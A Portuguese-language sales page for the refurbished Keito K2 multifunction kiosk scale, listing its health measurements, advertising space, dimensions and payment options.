Campanhas preventivas através das Balanças multifuncionais melhoram o clima organizacional e incentivam o cuidado com a saúde. Além de contribuir para a redução de custos junto às operadoras de planos de saúde, proporcionando melhores negociações por conta das ações concretas de prevenção à doenças.

K2 Balança Multifuncional Keito

A Balança multifuncional K2 consegue aferir diversas medições e acompanhamento estatístico de peso, altura, pressão arterial, batimentos cardíacos, de forma confortável e acessível. Nossa balança consegue atrair e pode ser uma ferramenta para fidelizar seus clientes, contribuindo para a manutenção de uma boa saúde,  prevenção e controle da obesidade e/ou de doenças cardiovasculares.

O Modelo K2 dispõe de espaços para apresentação de imagens publicitárias.

ok-24 Peso e Altura ok-24 Orientações com voz
ok-24
Pressão Arterial
ok-24
Fácil utilização
ok-24
Batimentos Cardíacos
ok-24
Medições precisas
ok-24
Pesa bebês**
ok-24
Cálculo IMC*
ok-24
Peso: 94 kg
ok-24
Dimensões: 48 x 74 x 238 cm

INDISPONÍVEL

INDISPONÍVEL

Formas de Pagamento:

Boleto, PIX, TED/DOC, Débito
e até 12x no Crédito

VISA MASTER ELO AMERICAN HIPER BB DINERS PIX

* Modelo com opção de instalação do sistema de impressão de ticket.
**Acessório opcional.
As Balanças Multifuncionais KEITO foram importadas usadas e reformadas pela Keltec.
Desde 2003 trabalhamos com garantia total e assistência técnica especializada.